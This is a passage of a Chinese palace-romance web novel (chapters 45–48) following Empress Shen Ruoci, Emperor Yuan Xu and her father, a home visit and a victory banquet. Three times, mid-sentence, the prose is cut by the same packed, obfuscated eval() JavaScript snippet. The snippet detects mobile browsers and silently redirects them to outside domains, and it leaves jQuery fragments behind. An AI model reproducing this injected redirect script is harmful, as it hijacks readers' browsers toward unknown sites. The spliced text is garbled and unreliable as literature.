沈若辞打心底里没准备要回那支橄榄了,树上多的是,回去让他再打就行了。可一个转头,身边不知何时站了个人,在她打算转身的时候,那人手中长长的竹竿从高处往下坠,一眨眼的功夫,原本在高处的那一端,准确无误地抵着袁子逸的胸口,压得他寸步难行。 元栩手上并没有用劲儿,他把玩着掌中的仍泛着绿意的竹子,眼神里满是不屑,而后掌心轻轻往前一送,“小辞也是你叫的?” 袁子逸脸色一变,下意识想要挣扎躲开竹子,不想他稍一侧身,那竹子就像长了眼睛一样,分毫不错地跟了过去。如此几次,他发现竟无法躲开,除非——后退。 但后退代表着什么,没有人比他更清楚。 他脸色微微发白,神色隐忍,“皇上此举是何意?” “何意?”元栩语气冰冷,眼神如深潭水,从袁子逸脸上一扫而过,最后落在身旁的沈若辞身上,温和道,“叫皇后娘娘。” 45. 第 45 章 袁子逸脸色由白转青,他忽地望向沈若辞,嘴唇微微颤抖,只一味地看着她,却不开口。 元栩看在眼里,轻轻地嗤笑一声,“袁公子若是不怕国公府一大家子为你陪葬,大可以僵持下去。”他语言温和,语气也不甚在意,“见到天子,不跪拜行礼,此为罪一。见到皇后,直呼闺名,此为罪二。明知犯错,不思悔改,此为罪三。” 袁子逸的脸色一寸一寸地灰败下去。 看他出丑,元栩心里舒坦极了,袁子逸今日冒犯了他的女人,他不会善罢甘休,怎么地也要让他认清现实。 “袁子逸,朕再问你一句,这声‘皇后娘娘”,你是叫,还是不叫?”他还是这样,说得漫不经心,毫不在意,但有点脑子都能听出他语言中的危险。 袁子逸抿紧苍白的唇,眼底隐隐发红,他看向一旁的沈若辞,她虽始终不发一言,但他能看到她眼中的担忧和焦虑。 他从来都舍不得让她伤心难过,就是她皱一下眉头,他也要心疼半天。如今看她这副模样,袁子逸忽然破防了,他颤抖着声音妥协,“参见皇上、皇……后娘娘!” 元栩轻笑出声。 沈若辞并没有答应,只是无声地垂下眼眸,同时心里暗暗地松了一口气。 她跟袁子逸早就没有可能了,她虽惋惜,却也明白二人立场不一样,谁都不可能为了对方放弃自己的家人。唯一不同的是,他没有袁子逸执着,执着于说服对方来顺从自己。 她不会去要求对方,更不会去顺从于他。既然如此,纠缠便没有了意义,何况她如今已为人妻,于情于理,都不能与他这个旧情人有任何瓜葛。 “回去吧。”元栩面上不漏声色,掌心绕着竹子弧度转了一圈,稍一运力,袁子逸后退了几步,顶着他胸口的那一端应声落地。他捂着胸口咳了几声,视线里那竹梢拖着地,缓缓前行。 元栩已转身回去,惋惜道,“可惜那枝条上的橄榄。” 沈若辞声音平淡,“不要了,树上有的是。” 袁子逸手中仍握着橄榄枝,叶子被揉碎了,绿色的汁水顺着手心滴落,他满目猩红,映着二人的背影从小门消失。 二人回到院中又打了半盆子橄榄下来,沈若辞连枝带叶一起带去了厨房。 厨房的排骨是屠场刚送来,颜色鲜红漂亮,沈若辞将摘下来的青橄榄捣碎了,连同新鲜的排骨一起下锅。 红泥小火炉烧得正旺,砂锅往上一搁,她又开始着手做其他菜。 这两年因病久未下厨,今日做起菜来还是有些生疏,沈若辞勉勉强强做了三个菜,又让厨子帮忙做了几个,凑够八个菜才端上桌去。 沈墨已经两年没尝过女儿做的饭了,没想到今日又能吃上她做的菜,心头一涩,差点掉下眼泪来。 是他的错,没有让她早日康复,好在而今一切都好起来了。 沈若辞见父亲筷子基本上在那几盘菜上来来回回,又给他盛了一碗汤,“阿爹,喝汤。” 她将汤碗放在父亲面前,正想拿起筷子吃饭,手上的动作一顿,她朝那道冰冷的目光看过去,双手不情愿地伸过去再次拿起汤勺,替皇帝也盛了一碗汤。 元栩面色稍霁。 沈墨看不惯他使唤自己的女儿,也没有给他好脸色看。 翁婿二人似在捧场,又像在较劲,喝着小酒品尝沈若辞亲手做的菜式,明明已经吃得差不多饱了,可谁也不主动离桌。 沈若辞似乎早已习惯他二人你来我往的争斗,这些年来虽现场观战的只有这么两次,但从阿爹的口中,她早就对二人的“斗争”熟烂于心。 所以吃饱后,她也没有跟这二人耗下去,决定回房洗个澡先。方才做完饭身上还有油烟味,洗干净了才清爽。 女儿一走,沈墨也觉得这饭吃起来没意思了,他不想再看到皇帝的脸,“客房已安排好了,皇上随时可以过去休息。” “爹费心了,朕去沿沿房里睡就行。”元栩拂了一下衣摆,站起身来,“朕认得路,自己去就行,无需派人引路。” 这话果然将沈墨激怒。 这么说,是以前就来过的意思? 元栩明明已迈出几步,却又突然回过头来,“对了。”他说,“沿沿床柱上悬着的那对麒麟,当真是栩栩如生,爹用心了。” 沈若辞屋中的多数器物,都是沈墨寻名工巧匠精心打造的,选材用的都是顶尖的,又出自大师之手,无一不精致典雅。 元栩话中提及的那对麒麟,便是其中之一。 这狼崽子话里话外对女儿的闺房如此熟悉,无疑是趁他身陷牢狱时去过了。 沈墨顿时急火攻心。 “站住。” 沈墨此时顾不得什么君臣之礼,他只知道,自己护在掌心里的宝贝被人不当一回事,甚至任意折辱,胸膛里的那团火烧得更盛。 元栩回过头去,恭恭敬敬地问道,“请问爹还有何事?” 被他这么一问,沈墨才反应过来,而今眼前这人已经是女儿的夫婿,再追究这些似乎已经失去了意义。 他定定地看着这面貌俊朗的小皇帝,眉头紧锁又缓缓松开。最后,他忽然抬手,又忽地落下,一掌拍在他的肩膀上。 元栩毫无防备,被他这一掌拍得险些踉跄。 没有留时间给他思考,接下来又是一掌,拍在同样的位置。 沈墨虽为文臣,但自幼习武,身手丝毫不逊色于朝中武将。 这两掌下来,若是寻常人,早就站不住了。 元栩硬生生扛下这两掌,确实够呛。 “爹,还有事吗?”他面色几乎如常,甚至嘴边还挂着一丝微笑,似有若无。 沈墨掌心微微发麻,见他面不改色,甚至还能笑出来,“好,好得很!” 沈墨又凝了他一阵,觉得他那唇边的笑意怎么看怎么碍眼,最后挥挥手让他走了。 元栩快走出屋的时候,背后才缓缓传来一声,“臣恭送皇上。” 他没有回头,径直跨出门去。 沈若辞回到自己闺房。 虽然离开这里才三天,但对她来说却是漫长的一段时光。她窝在软塌上,喝着刚泡出来的蜂蜜梅子茶,细细地观赏着屋中的每一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537920|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆设,暗暗的想,还是自己的房间好,比皇宫强多了,怎么看怎么舒服。 可这份惬意之享受了半刻钟,就被本该在客房休息的人打断了。 皇帝从屋外进来,背着光,沈若辞看不清他的神色,只听他边走边说,“喝的什么?给朕也来一杯。” 沈若辞放下手中的杯子,刚从软塌上起来,就听他沮丧地说,“沿沿,朕受伤了。” 她人一愣,见他身上衣物完好,行动自如,不像是受伤的模样。 该不会是来相府碰瓷的吧。 沈若辞还是开口问了一声,“皇上伤到哪里了?” 元栩看了自己的肩膀一眼,又看看沈若辞,缓缓地在床榻上坐下来。 沈若辞抿了抿唇,坐她的床做什么? 她虽不欢迎元栩来,不想被他打扰,但还是依言倒了一杯梅子茶送到他手中。 元栩只喝了一口便放在一旁,他拉起沈若辞的手,放在自己的肩膀上。 “这里。” 隔着衣服,什么也看不到,沈若辞随口一问,“怎么伤的?” 元栩握着她的手没有松开,“不小心撞到一块石头。” 沈若辞好奇起来,正常情况下,人好好地走在路上,什么石头能给他撞伤? 以她在这里生活了十几年的了解,相府目前还没有这种地方。 他仰起头看她,眼神脆弱且可怜,这让那双桃花眼看起来风流又多情,沈若辞手掌颤了颤,正想拿开手时,他忽然开口,“皇后就不打算看看朕的伤情吗?” 声音比眼神还要脆弱。 沈若辞心头没由来一软。 她抬起手落在他的衣襟上,试图拉开衣领看看什么情况。 衣服修身,根本没法看到什么,沈若辞不禁怀疑元栩是在骗她,故意让她瞎忙活。 握着她的那只手忽然动了动,拉着她的手一路往下,最后停在腰间,“脱衣服看看。” 她迟疑了一下,还是伸手去解他的腰带。 淡淡的草药香气从他身上散发出来,沈若辞心神一荡,有种似曾相识的感觉袭上心头,手上动作不由得一顿,脑子里却捕捉不到任何影像。 她凝了心神,专心去解腰带。玉扣松开,腰带落下,这次很轻松地拨开他肩头的衣物。 衣物散开,从他线条流畅优美的肩膀滑落,沈若辞无暇欣赏,大片的淤青占据他整个肩膀,青紫色一路往下延续到手臂,覆在他干净的肤色上,显得有些触目惊心。 沈若辞几乎是倒吸一口凉气,蹙起眉去看他的淤伤,良久才艰难地说道,“臣妾去拿药箱。” 她从柜子里寻到了药油,回头一望,元栩仍坐在床沿,身姿笔挺修长,一点不像受了伤的模样。她攥着药油返回,与他面对面对视了一眼,发现这个位置不好上药,干脆脱了鞋子爬上床去。 元栩坐着,她跪在他身后,将药油倒在手上,双掌交合,来回几次将掌心搓出热度,再将手掌覆于伤处,缓缓推动。 “疼吗?” 元栩勾了勾唇角,气息微弱地吐出一个字“疼”。 46. 第 46 章 沈若辞放慢了速度,手上的劲头却没有放轻,她耐心解释道,“再忍耐一下,不能再轻了。要这样的力度,药效才能被吸收。” 话虽这样说,但当视线触及大片的淤青时,她原本动作熟练的手掌还是轻颤了颤。什么样的石头能将人撞成这个样子?顽石不成? 她试图分散注意力,“是在哪里的石头?怎么撞到的?” 问清楚了也好让人将石头处理了,免得旁人也受伤。 元栩淡淡地回答,“几十年的顽石。” “是朕自己不小心,与那石头无关。” 听到皇帝说出这句话的时候,沈若辞心里还是松了一口气。帝王受伤是可大可小的事情,可能一句话就会累及多人,眼下他摆明了态度,明显不会迁怒相府,还算有点良心。 他不细说,沈若辞没必要细问。 元栩闭着眼睛,整个人在她手掌的揉搓下变得懒洋洋的,连带声音也慵懒沙哑起来,“再用点劲。” 沈若辞可没他那么轻松,毕竟搓药油不是一件简单的事,力道控制很重要,她从前在医馆练出来的手劲儿,这两年因病荒废得差不多了。 没想到她重出江湖第一个病人竟然是皇帝,便宜他了。 两刻钟后,沈若辞气喘吁吁地从床上下来,又顾及病人伤情,还是贴心地给他穿上衣裳。 衣裳穿到一半,沈墨在屋外在敲了敲门,“沿沿,爹可以进去吗?” 沈若辞手都是软的,气息不稳还来不及回答,便被元栩抢了话,“请进。” 房门是打开的,沈墨听到小皇帝的声音皱了皱眉头,片刻以后,他还是跨过门槛进了房里,就见沈若辞半弯着腰,正为皇帝穿衣,他神色尴尬,一时竟不知该进还是退。 “爹有何事?” 元栩抬起头,淡淡地问了一声,十足的主人做派。 这一句“爹”入了耳里,沈若辞手上动作一顿,茫然地抬头,对上他平静似水的面容,恍惚了一下才反应过来,他叫的确确实实是她的父亲。一种奇奇怪怪的感觉袭上心头,让她不由得加快了手速。 很快,沈若辞替他穿好了衣裳,转身去迎接沈墨,“阿爹。” 元栩从榻上起身,几乎是紧随其后。 沈墨绷着脸,目光越过沈若辞,落在她身后的帝王身上,“沿沿身子弱,还请皇上怜惜,莫要光天化日,海天胡地。” “阿爹!” 沈若辞被父亲一席话说得面红耳赤。 父亲不知道皇帝受伤,肯定是对方才治伤一事有所误会。念及此,她忙上前解释,只是话未出口,身旁的人忽地攥住她手,然后轻轻一带,沈若辞毫无防备就跌到他身上。 元栩顺势搂过她的腰,“朕与沿沿新婚燕尔,琴瑟和鸣,还请爹体谅个。” 明显就是装给他看的,他也不会上当!沈墨毫不留情地拆穿他,“沿沿之前,皇上后宫已有妃子,也算不上什么新婚不新婚的。” 元栩脸上笑容一滞,片刻之后,他道,“爹守寡太久了,怕是不记得新婚夫妻是什么滋味,是时候找个伴了。” 屋中一时安静得厉害,沈若辞几乎能听见自己的心跳声。方才二人你来我往,一人一句谁也不让谁的时候,她越听越是焦虑。 此时双方都安静下来,她发现还有更糟糕的。 沈若辞见双方互瞪得厉害,一时剑拔弩张,火药味十足,她拿皇帝没有办法,但搞定自己的父亲还是不成问题。 她双眸湿润,揉了揉额角望向沈墨,“阿爹,头疼。” 沈若辞声音清脆悦耳,此时装病,又带了点软糯,听着让人心疼不已。 果不其然,话刚出口,沈墨顿时将全部注意力转移到女儿身上,他下意识伸手去扶沈若辞,却不想下一秒便扑了个空。 原本准备接受父亲关心的沈若辞被腾空抱起,三两个箭步之间,人就已经到了床榻之上,接下来耳边便是冷冷的一声“躺好。” 柔软的被子簇拥上来,将周身包裹住,沈若辞足足愣了一会儿,才明白过来皇帝此举这是做给父亲看的。 她陷在被褥中,觉得有些惶恐,也有些好笑。 其实,大可不必这个样子的。 太明显,太做作,父亲反而不相信。 她和皇帝因为利益关系结合在一起,没有感情基础在,硬是要做出恩爱的举动,就如空中楼阁,镜中水月,不切实际。 翁婿二人都是身量高大之人,此时杵在床边,就像两座大山,迫得她连呼吸都不敢用力。沈若辞抬眼看看父亲,又望望皇帝,见二人面色严肃,目光齐刷刷地落在她身上,强烈的心虚迫使她从被窝里探出身子来。 沈墨察觉出她的意图,连忙制止,“别起来,快躺好了,让大夫给你看看先。” 惊动到大夫出马,沈若辞惊觉自己把谎撒大了,忙出言制止,“阿爹。”她眨了眨眼睛,假装思考了一下,“头好像不疼了,不必麻烦大夫。” 沈墨关切道,“大夫就在门口,不麻烦。”他此时前来,就是请了大夫专门来为沈若辞诊断的。 可沈若辞并不知道父亲的计划,惊得目瞪口呆,这下不知如何是好了。 目的是达到了,父亲跟皇帝暂时休战,但也带来了不可控的后果。 “何大夫,有劳了。” 沈墨将何景引到床边,“何大夫,两年前有幸请到您为小女诊治,今日又要麻烦您再来一趟。” 何景回之以礼,惭愧道,“沈相言重了,是在下医术平庸,两年前便未能诊出令爱病症,今日恐怕也无能为力。” 话说如此,何景还是从容地在床边坐下来,开始为沈若辞诊脉。 元栩立在一旁,何景的大名他也有所耳闻,皇城里屈指可数的名医,每天找他看病的人不计其数,能请到他也并非易事。 他安静地看着何景稀松的眉头缓缓皱起,复又松开,如此几次之后,他终于松开了号脉的手指。 “……如何?”沈墨终于可以将话问出口。 何景气定神闲地收拾脉枕放入药箱,才开口回道,“恭喜沈相。令爱此前筋脉淤堵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543080|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气滞血瘀,无从对症下药。敢问近来是服用了什么药物,病情竟有如此好转。” 闻言,沈墨几乎是松了一口气,病情真的好转就好,他怀疑皇帝撺掇他人一起来欺骗自己,索性请何景来验证一下。 他抱歉道,“何大夫恕在下无法告知,”他看了一眼一旁的小皇帝,继续说道,“本官也不知道药方。” 何景这些年没少给皇亲贵族看过病,接触的人多了,自然知道有的事不是他该知道的,他顺着沈墨的目光看了一眼床边的贵公子,心脏几乎是颤了颤。 可就算看出点什么,他也不敢猜测,更不敢多问,“是在下多嘴了。” 沈墨命人一路护送何景到家,再返回屋中的时候,沈若辞已坐在床头,慢吞吞地喝着皇帝强迫她喝下的温水。 索然无味。 沈墨心平气和地问道,“今晚可要留下过夜?” 沈若辞抬眸看了一眼身旁的人,听他回道,“不了,朕明日要迎接九皇叔回京,今夜便不留宿了。” 沈墨看向女儿,神色柔和,“沿沿留下来?” 沈若辞有些迟疑,最后还是摇摇头,“沿沿也想回宫。” 沈墨点点头。 新婚燕尔,他虽没成过亲,却也明白。 皇帝见沈相心情还不错,便趁机问道,“安都一事,爹考虑得怎么样了?” 眼见女儿身子好转,小夫妻二人相处得尚且过得去,沈墨没什么好操心了,便回道,“回皇上,臣今夜就启程去安都。” 沈若辞一惊,抬眸望向父亲,询问的话还没出口,便听元栩开口道,“有劳爹了,朕替大魏感谢沈相。” 沈墨不喜欢这些客套话,他冷冷地看了小皇帝一眼,郑重道,“臣只求皇上照顾好沿沿。” 沈墨走后,元栩依仗着身上有伤,死皮赖脸地粘着沈若辞在床上躺了好一阵,虽然没做什么过分的事情,但回程的路上,她还是意外地觉得乏累。 车轮辘辘前行,马车又大又稳,她靠着车壁,周身软软的。 元栩起初还端正地坐着,后来就忍不住靠过去,跟她滚在一起。 沈若辞心下一惊,正想找个理由挣脱他的束缚,元栩忽地将唇贴在她的耳边,“沿沿这么想跟朕回宫,就这么离不开朕?” 沈若辞试图坐起来,却被他拖得更紧,她忙澄清道,“九皇叔凯旋归来,臣妾也想随皇上去见一见大英雄。” 这样的说辞元栩明显是不信的。 她身上没有熏香,却有一股天然的暖香,柔和、香甜,是他熟悉的那种奶香奶香的气息。 元栩搂着她,他想,九皇叔有什么好看的。 看他,肯定才是她回宫真正的目的。 沈若辞脸红得厉害,她不知道寻常夫妻是如何相处,但总归不是这样,马车行在闹市中,外边车水马龙,而他,却在在里边对她动手动口。 车门传来轻微的动静,他忽然收手,将沈若辞的裙衫拢起。回头便端坐于车内,一副谦谦君子的模样,仿佛刚刚做坏事的人不是他。 47. 第 47 章 马车越走越慢,直到最后停了下来,元栩声音有些沙哑,“想不想吃炒板栗?朕带你去买。” 说着他推开车门下了马车,沈若辞用手背贴了贴脸,感觉没那么热了,才跟着下车。 下车后她朝周围环视一圈,发现这里离医馆并不远,也不知道罗医娘云游回来了没。 元栩已走出去一段路,在炒板栗的摊位前停了下来,他伸手指了指锅里的板栗,“要一份板栗。” 炒板栗的妇人用头巾包着头发,皮肤有些黝黑,正坐着择菜。一听有人要买板栗,立马放下手中的菜篮子,起身相迎。 元栩轻轻喊了一声“张婆婆”,那妇人闻言抬起头来端详了他好一会儿,才笑出声来,“呦,原来是小元公子啊,来来来!今天刮的什么风,竟把您给带来了。” 她笑呵呵地拿起锅铲翻了几下,突然想起一件事来,“对了,沈姑娘怎么没来?很长时间没见过她了,医馆也没见去坐诊,不知道她近来过得怎么样?” 元栩听她闲扯,嘴角挂着一丝淡淡的笑意。 闹市喧哗,张婆婆以为他没听清楚,正想继续追问,下一刻就见他从身后拉出一位貌美的女子向她介绍,“我成亲了。这位,是我的新婚妻子。” 张婆婆脸上的笑容逐渐消失,只听见咣当一声,手中的锅铲掉落在地上,吓得她回过神来。 “沈、沈姑娘……”张婆婆有些语无伦次,不知道自己要说啥,慌乱中她干脆蹲下去捡地上的锅铲,用围裙将锅铲擦了好几遍,才平静下来,心里暗骂自己蠢笨,哪壶不开提哪壶。这女子相貌虽与沈姑娘有几分相像,但明显不是,她可要貌美许多。模样也娇滴滴的,一看就是富家千金,不像沈姑娘只是个平民女子。 沈若辞觉得这位张婆婆好生奇怪,嘴里不停地念叨“沈姑娘”,眼睛却一直盯着她的脸看,眼神也很不友善。 元栩似乎并不觉得有问题,耐心地等着板栗。 张婆婆为沈姑娘感到惋惜,在心里叹了口气,用油纸包了板栗递给元栩,“小元公子拿好了。” 元栩付了钱就拿着板栗离开。他从油纸里取出一颗板栗递给沈若辞,沈若辞摇摇头,“不吃。” 元栩剥了壳将板栗扔进嘴里,“又香又甜。” 沈若辞早就听说皇帝曾在民间拈花惹草,没想到头一回随他出来,就撞见了这档子事。 当事人正风轻云淡地吃着板栗,丝毫没有被张婆婆的反应影响到。 隔日早晨,元栩神采奕奕地在城楼上等候众将士,和他一起来的还有从被窝里爬起来,打着哈欠的容王殿下元琛。 元栩无可奈何地瞥了他一眼,刚想叫他滚回去睡觉,九皇叔的军队浩浩荡荡地进城,他没有看到元琛顿时容光焕发,神采飞扬地跟在他身后。 众人行礼过后,元栩跟九皇叔一同骑马进城,二人边走边聊。 “边关事了,九皇叔功不可没。” 九皇叔单手握着缰绳,气息浑厚,“皇上言重了,臣年事已高,出不了什么力气。此番胜战都是阿秋的功劳,计谋实战都出自于她的手笔,老臣不过是沾了她的光,得了个好名声。” 两年前南疆战火愈演愈烈,北面那几个小国见有机可趁,频频侵犯大魏,九皇叔抽不开身,元栩一气之下亲自上北面带兵杀敌。后来战事平息,他曾赶赴南疆,亲眼见识过程于秋在战场上的智勇,对她赞不绝口。 “九皇叔谦虚了,您的战绩朝廷上下有目共睹。程将军乃女中豪杰,带兵谋略不在话下,二人皆是我大魏至高无上的荣光。” 程于秋一身战甲英气逼人,皮胄下那张年轻女子的脸,粉墨不施,却清丽至极。她骑着战马稍后两步,听到皇帝的夸赞,神色宠辱不惊,“多谢皇上夸奖。” 容王殿下跟在元栩身旁附和道,“九皇叔宝刀未老,程将军乃巾帼英雄。” 九皇叔“哼”了一声,没给他好脸色看。 元栩微微笑着,尽管不说话,从他身上流露出的帝王气质却不容忽视。 九皇叔见昔日少年而今愈发沉稳利落,心中很是欣慰。作为长辈,操心的事情便不止国事了,他回想起当时南疆战场上二人初次见面,皇帝对程于秋的欣赏,便忍不住说道,“阿秋也年满十八了,这些年为大魏耽误了婚事,至今未曾议亲,皇上年纪也不小了,你二人……” 听九皇叔有意撮合元栩跟程于秋,容王几乎是脱口而出,“这就不劳九皇叔费心了,皇上几日前才刚大婚,迎娶沈家千金为皇后。” 九皇叔脸色一变,刚想训斥元琛胡说八道,就听皇帝淡淡地说道,“九皇叔,朕已经成婚了。” 九皇叔满腔热忱为义女跟皇帝说亲,没想到话未出口,这事就已经夭折,他黑着脸冷冷地问道,“哪个沈家女?” 元栩回道,“是沈相的女儿。” 在九皇叔谈及婚事的时候,程于秋全程一眼不发,眼皮子也没抬一下,此时闻言却猛地抬头,几乎不可置信地望向皇帝。 怎么会是她? 怎么可能?会不会是弄错了。 刹那间,这些话在她脑中来来回回,她都不知该如何开口询问。 元琛在一旁关心道,“程将军怎么了,脸色这么差?” 程于秋握紧了手中的缰绳,缓缓地回过神来,清丽的面容隐约有不悦之色。 此时同行的官员不在少数,九皇叔也不好追根究底,程于秋面上的神色他都看在眼里,心里都是对义女满满的愧疚。 九皇叔跟程于秋一起进宫,元栩为他父女二人安排了住处,以供换洗休整。 宫宴设在晌午,薛太后携后宫一众妃子前来,沈若辞身为皇后,自然也要出席。 九皇叔和程于秋是今日的主角,二人坐在显眼的位置。 军营生活简单清苦,又要时刻保持清醒,过得很不称心。现在放松下来,九皇叔也不再约束自己。 几杯美酒下肚,整个人已微微有了醉意。 程于秋褪下战甲,换上一身绯衣,梳着精致的发髻,怀中抱着一只黑猫,面容清丽动人,很难让人联想到她是令敌人闻风丧胆的大魏悍将。 黑猫双眸大而深邃,毛色纯黑不夹半分杂色,程于秋轻抚泛着光泽的黑毛,微笑着听众人聊天。 今日女眷不在少数,宴会上准备了不少清甜的果酒,众人都跟着气氛小酌几杯。沈若辞看着嘴馋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548246|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一种都想试上一口。 酒意上头,九皇叔脸色泛红,又继续说起城门下没说出口的话,“阿秋才貌双全,为大魏立了不少战功,理应是大魏皇后的最佳人选。” 此话一出,众人的目光都下意识地落在程于秋身上。 程于秋恍若未闻,她在专心喂猫。沈若辞见她从宫女手中接过鱼肉,盘子搁在自己的腿上,黑猫低下头吃鱼。 她正看得起劲,程于秋突然抬起头来,眼神直接跟沈若辞对上。沈若辞愣了愣,见程于秋朝她笑了笑,她也抿着唇点了一下头。 薛太后自知她在九皇叔那里不讨喜,也不去接他的话,只笑着看好戏。 薛雪媚却不怕得罪他,在一众妃子中率先开口,“这后宫已有了主,九皇叔怕是要希望落空了。” 九皇叔冷哼一声,又想开口,元栩淡淡地看他一眼,往他杯子里满上酒,“皇叔,上等美酒。” 酒香四溢,九皇叔也忘了方才到嘴边的话,重新拿起了酒杯。 沈若辞喝着果酒,视线总是不经意地落在黑猫身上,程于秋抱着猫朝她走过来,众人不约而同地放下手中的杯子。 程于秋望向她艳若娇花的脸庞,眼睛一瞬不瞬地盯着她看,“皇后娘娘莫要见怪,义父是喝醉了。” 沈若辞并没有将九皇叔的话放在心上,她摇摇头道,“不碍事。” 黑猫慵懒地趴在程于秋的臂上,她给猫顺着毛,动作不疾不徐,优雅流畅,“末将倒不曾想过,皇后娘娘竟这般高贵优雅,姿容无双。” 沈若辞手里捏着白玉瓷杯,听出她话语中的揶揄,很想给她一个眼神,让她自己好好体会。但此时宫宴上那么多双眼睛盯着,她也不好直接表现出来,只看着黑猫将话题转移,“它可真好看。” “是吗?”程于秋摸了摸它的脑袋,“我怕它在宫里不习惯要乱跑,便把它抱过来了,皇后娘娘能否帮我抱一下?” 伺候程于秋的宫女心里一惊,方才在寝殿里的时候,她想帮程将军照看一下黑猫,没想到那小畜生凶得很,差点把她手抓伤了,现在想起来都觉得心有余悸。此时听程于秋要皇后娘娘抱猫,她几乎是不假思索,“娘娘小心,黑猫会抓人。” 宫女出声的时候,沈若辞已从程于秋手中接过猫,抱在怀里,“不怕。” 元栩本来有机会阻止的,但是他只是看着,看着沈若辞伸手抱猫,小心翼翼地把黑猫捧在怀里,他眉头一皱。 几位妃子闻言精神抖擞,纷纷等着看好戏。 连骁最先坐不住,他朝沈若辞走过去,“娘娘,听宫女说此猫会抓人,交给本将军处理吧。” 猫儿好好地躺她怀里,哪里会抓人了。更何况这弱小的猫儿落在连骁手里,不知道会被他怎么处理呢,沈若辞委婉拒绝,“多谢连将军,猫猫很乖,并不会抓人。” 连骁见她沾了酒,双颊泛着淡淡的粉,肤色白里透红,惹人喜欢得紧,哪里承受得住利爪的攻击,他坚持道,“以防万一,还是交给本将军。” 沈若辞抬头看了连骁一眼,眼巴巴地想哪有人这样的,赶着跟她抢猫。 众人都好奇连骁的行为,顿时目光都落在二人身上。 48. 第 48 章 空旷的宫殿中一时安静,元栩忽然笑出声来,他起身走到二人之间,“舅舅真是忧国忧民啊,一点小事都要操心。” 连骁脸色一变,但见他嘴边始终带着笑,笑得依旧漫不经心,顿时胸口生出一股恨意,既然不好好爱惜她,为何要强行把人留在宫里。 娇花需要呵护爱惜,而不是像他一样随意,随意折辱忽视。 程于秋离开了一会儿,回来的时候见皇帝跟连骁二人对峙,气氛有些微妙,一旁的沈若辞委屈地抱着猫儿不肯撒手。她走到三人旁边,朗声笑道,“多谢娘娘帮忙照看猫儿,末将从南疆带回来一份礼物,改日进宫献给娘娘。” 沈若辞将黑猫交给程于秋,坐回自己的位置,她心情不错,又开始喝果酒。 元栩皱着眉头凶她一句,“少喝点。” 沈若辞讪讪地放下酒杯,趁他不注意的时候,又拿起黑色的桑葚酒小抿了一口。她入宫后,好久没这么开心了,今日忍不住多喝了几口酒。 宫宴接近尾声,九皇叔已醉得彻底,被宫人扶下去休息。几位妃子原本满怀期待,最后没看到好戏,更接近不了皇帝,都觉得无趣极了,纷纷离场。 步辇上沈若辞已醉意朦胧,皇帝搂着她,尽量不让她摔下去。 今日她穿一身淡紫色的轻烟纱裙,裙摆蓬松,层层叠叠晕染着紫色垂落在杏色的绣鞋上,如轻烟一般袅袅婷婷。 元栩闻着她身上独有的香气,搂着细腰的手不住地收紧。 沈若辞感受到压迫感,她推开身旁人,“好热,我要下去。” 元栩见书房就在前面,便跟着她下去,二人一前一后进了书房。后脚才刚迈过门槛,元栩倏地转身关门,而后将人抵在门板上,狠狠地吻了起来。 沈若辞身子更软了,几乎是站不住了,最后元栩抱着她到屏风后边的软塌上。 她满面霞红,伸手碰了碰下唇,迷迷糊糊地问他,“你、你亲我做什么?” 还问做什么?不是她一路上不停地引诱,自己能如此冲动? 元栩无奈揉了揉额角,而后抬起修长的脖颈长长地呼出一口气。再转身回来的时候,榻上玉人美眸半闭,绣鞋也踢落了一只,所幸罗袜还在脚上。 他从地上捡起绣鞋,门口就传来岳常安的声音,“启禀皇上,连将军求见。” 元栩站起来从屏风里走出去,绣鞋仍握在他手中,“舅舅请进。” 甫一进门,连骁就注意到屋中轻微的声响,他目光迅速转了一圈,就发现屏风后模糊的人影,那人从屏风边缘探出的半截纤弱的小腿,仅着罗袜,悬在半空中,如绿柳一般轻盈柔软。 这一看就是女子的脚。 他在心里嗤笑一声,目不斜视地走向议事厅,一眼就看到元栩手上的绣鞋。 帝王身边,从来最不缺的便是女人,就是不知眼下那榻上躺着的,又是哪个痴心妄想的女人。 元栩若无其事地将绣鞋放在身后,“舅舅有何事?” 连骁似乎也不记得方才宫宴上的不愉快,“臣听说沈相昨夜已启程前往安都,是否为贪银流入虞城一事?” 元栩没有隐瞒,直接点头,“是朕安排的。” “此事错综复杂,让沈相亲自去办,最为稳妥。如若需要支援,臣愿立即带兵前往。” 元栩回道,“舅舅有心了。” 二人又谈了一些虞城的情况,最后连骁才将话说出口来,“沈相为大魏鞠躬尽瘁,皇上也不可寒了忠臣的心。” 元栩微微笑着,“朕会善待皇后。” 连骁心头一怒,“皇上心里清楚,沈相并不想女儿留在宫中。” 元栩依然不紧不慢,“舅舅误会了。” 